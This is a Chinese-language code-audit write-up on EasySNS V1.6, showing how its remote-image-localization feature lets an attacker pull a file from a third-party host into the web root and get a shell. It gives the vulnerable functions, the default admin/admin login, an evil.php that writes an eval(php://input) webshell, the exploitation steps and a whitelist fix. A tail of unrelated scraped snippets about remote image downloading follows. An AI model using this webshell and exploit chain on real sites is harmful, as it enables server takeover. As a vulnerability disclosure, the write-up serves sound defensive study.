【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

0x00 环境准备

EasySNS官网：http://www.imzaker.com

网站源码版本：EasySNS极简社区V1.60

程序源码下载：http://es.imzaker.com/index.php/Topic/gview/id/92.html

默认后台地址：http://127.0.0.1/admin.php/Login/login.html

默认账号密码：admin/admin

测试网站首页：

0x01 代码分析

? 1、漏洞文件位置:  /app/common.func.php ：

在公共调用函数里面，我们注意到getImageToLocal函数，通过正则从img标签里面获取链接，然后判断是否是本站地址，调用了getImage函数实现下载远程图片保存到本地，我们跟进同文件下的getImage函数进行查看:

在getImage函数中，并未对下载的文件名进行判断，获取文件后缀拼接到文件名，下载到网站目录中，那么这个函数是很危险的，很可能导致程序在实现上存在任意文件下载漏洞，下载远程文件到网站目录下。

? 2、全局搜索getImageToLocal函数，找到调用函数的地方:

漏洞文件：/app/index/controller/Topic.php，在topicadd函数中，webconfig(‘bd_image‘)==1即当程序开启远程图片本地化的时候，调用了getImageToLocal函数，我们可以根据条件构造Payload来进行漏洞利用，攻击者可指定第三方url下载恶意脚本到网站目录，进一步触发恶意代码，控制网站服务器。

0x02 漏洞利用

一、利用条件

1、登录网站后台—系统管理—配置管理—开启远程图片本地化（默认安装情况下处于关闭状态）：

2、在第三方网站放置一个evil.php作为代码源，如http://192.168.8.131/evil.php

evil.php文件内容:

`<?php

echo "<?php ";

echo "eval(file_get_contents(‘php://input‘));";

echo "?>";

?> `

二、漏洞利用

1、注册一个test1用户，选择发布帖子，在html代码编辑状态下插入img标签

2、点击发布后，查看我的帖子，获取上传后的文件名。

3、文件路径格式为：/uploads/picture/cache/‘.?filename

查看个人主页获取uid值，

4、需要把uid加上拼接为完整路径，最终获得文件路径，成功触发恶意代码，获取网站服务器权限。

http://127.0.0.1/uploads/picture/cache/2/2_VHZHOopR1520094924.php

0x03 修复建议

? 白名单限制远程图片本地化下载的文件名后缀，只允许下载jpg、png等格式。

原文地址：https://www.cnblogs.com/xiaozi/p/9865364.html

时间： 2024-10-28 20:06:05

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell的相关文章

PHP 远程图片本地化

<?php /** 远程图片本地化 **/ function pget($url,$ref=false,$head=false){ $curl = curl_init(); // 启动一个CURL会话 curl_setopt($curl, CURLOPT_URL, $url); // 要访问的地址             curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); // 对认证证书来源的检查 curl_setopt($curl, CURLOPT_

dede不能下载远程图片及如何实现图片本地化的方法

有些时候我们想保存图片到本地服务器的时候发现保存不了,比如我们自己拷贝自己的站点到另外一个服务器等等,下面3A网络的小钱就来分享Dedecms无法保存远程图片到本地服务器的解决方法,分享给大家供大家参考.具体分析如下: 一.开启远程图片本地化 在编辑区域上方有个附加选项:下载远程图片和资源,把这个选上即可!也在可以在系统设置里面的其他选项把:远程图片本地化这个项目给选上! 二.检查网站目录 上传图片目录中是否有allimg这个文件夹(当更改了图片上传目录的情况下最容易出现这个问题) 三.可能是因

织梦5.7下载远程图片和资源无效全套最新解决方案

1.织梦5.7下载远程图片和资源无效可能是因为服务器上禁用了fsockopen() 函数造成的,在用fsockopen()的地方用 stream_socket_client()代替就可以了. 具体修改地方是 /include/dedehttpdown.class.php 第507行 $this->m_fp = @fsockopen($this->m_host, $this->m_port, $errno, $errstr,10); 替换为 $this->m_fp = @stream

代码审计就该这么来3 beescms getshell

本文作者:i春秋作家--索马里的海贼 前言上一回(http://bbs.ichunqiu.com/thread-13714-1-1.html)说到快速漏洞挖掘中的几个重点关注对象,命令执行,文件操作,sql注入.并且拿sql做为例子简单做了一次代码审计,今天换一个思路,从文件操作部分入手,毕竟 文件操作一个搞不好就是getshell,比起注入按部就班慢慢来可要爽快多了. 一.关注重点 对于文件操作部分来说,首先对php内置的文件操作函数的作用和特性要有一个大概的了解 file_get_conte

PHP下载/采集远程图片到本地

/** * 下载远程图片到本地 * * @param string $url 远程文件地址 * @param string $filename 保存后的文件名(为空时则为随机生成的文件名,否则为原文件名) * @param array $fileType 允许的文件类型 * @param string $dirName 文件保存的路径(路径其余部分根据时间系统自动生成) * @param int $type 远程获取文件的方式 * @return json 返回文件名.文件的保存路径 * @au

火车头dede采集接口，图片本地化

<?php /* [LocoySpider] (C)2005-2010 Lewell Inc. 火车采集器 DedeCMS 5.6 UTF8 文章发布接口 最后更新:2010.07.10 by RQ204 视频教程:http://video.locoy.com/jiekou/dede/dede56_article.7z */ /********密码验证***********/ $password='huarenyuangong'; //这个密码是登陆验证用的.您需要在模块里设置和这里一样的密码.

Android远程图片获取和本地缓存

对于客户端——服务器端应用,从远程获取图片算是经常要用的一个功能,而图片资源往往会消耗比较大的流量,对 应用来说,如果处理不好这个问题,那会让用户很崩溃,不知不觉手机流量就用完了,等用户发现是你的应用消耗掉了他手机流量的话,那么可想而知你的应用将面 临什么样的命运. AD:2014WOT全球软件技术峰会北京站 课程视频发布 另外一个问题就是加载速度,如果应用中图片加载速度很慢的话,那么用户同样会等到崩溃. 那么如何处理好图片资源的获取和管理呢? 异步下载 本地缓存 异步下载 大家都知道,在and

PHP判断远程图片或文件或url是否存在-180

我通常使用curl判断判断远程图片或文件是否存在: /**     * @link http://www.phpddt.com     */    function url_exists($url) {        $ch = curl_init();         curl_setopt ($ch, CURLOPT_URL, $url);         //不下载        curl_setopt($ch, CURLOPT_NOBODY, 1);        //设置超时     

Android 获取并显示远程图片 Picasso框架的使用(一)

转载请注明出处:明桑Android 在Android开发中,常需要从远程获取图片并显示在客户端,当然我们可以使用原生HttpUrlConnection和AsyncTask等操作来完成,但并不推荐,因为这样不仅需要我们编写大量的代码,还需要处理缓存和下载管理等,最好自己封装成库或者采用第三方库: Picasso:A Powerful Image Downloading and Caching Library for Android 根据名字就知道它是跟什么相关了(Picasso:毕加索)它的基本操